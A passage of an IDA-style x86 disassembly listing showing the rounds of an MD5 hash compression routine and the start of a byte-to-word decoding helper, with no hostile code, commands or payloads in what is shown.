[ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+242070DBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3E423112h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0A83F051h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4787C62Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-57CFB9EDh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_8] lea eax, [ecx+eax-2B96AFFh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+698098D8h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-74BB0851h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0A44Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_8] lea eax, [ecx+eax-76A32842h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6B901122h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-2678E6Dh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5986BC72h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_8] lea eax, [ecx+eax+49B40821h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-9E1DA9Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3FBF4CC0h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+265E5A51h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_8] lea eax, [ecx+eax-16493856h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-29D0EFA3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_10] lea eax, [ecx+eax+2441453h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax-275E197Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_8] lea eax, [ecx+eax-182C0438h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+21E1CDE6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3CC8F82Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0B2AF279h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_8] lea eax, [ecx+eax+455A14EDh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-561C16FBh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3105C08h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax+676F02D9h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_8] lea eax, [ecx+eax-72D5B376h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5C6BEh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_30] mov ecx, [ebp+var_10] lea eax, [ecx+eax-788E097Fh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+6D9D6122h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] lea eax, [ecx+eax-21AC7F4h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5B4115BCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_40] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4BDECFA9h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax-944B4B0h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_28] mov ecx, [ebp+var_8] lea eax, [ecx+eax-41404390h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+289B7EC6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_50] mov ecx, [ebp+var_10] lea eax, [ecx+eax-155ED806h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-2B10CF7Bh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_38] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4881D05h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-262B2FC7h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_20] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1924661Bh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax+1FA27CF8h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_48] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3B53A99Bh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0BD6DDBCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_10] lea eax, [ecx+eax+432AFF97h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-546BDC59h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-36C5FC7h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+655B59C3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_10] lea eax, [ecx+eax-70F3336Eh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-100B83h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-7A7BA22Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6FA87E4Fh] loc_41005C: ; DATA XREF: .data:off_41A8CCo mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1D31920h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5CFEBCECh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4E0811A1h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-8AC817Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_10] lea eax, [ecx+eax-42C50DCBh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+2AD7D2BBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-14792C6Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [ecx], eax mov eax, [ebp+arg_0] mov eax, [eax+4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov eax, [ebp+arg_0] mov eax, [eax+8] add eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax leave retn sub_40F3CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_410263 ; --------------------------------------------------------------------------- loc_410253: ; CODE XREF: sub_410244+66j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_410263: ; CODE XREF: sub_410244+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_4102AC mov eax, [ebp+arg_4] add eax, [ebp+var_8] movzx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+1] shl ecx, 8 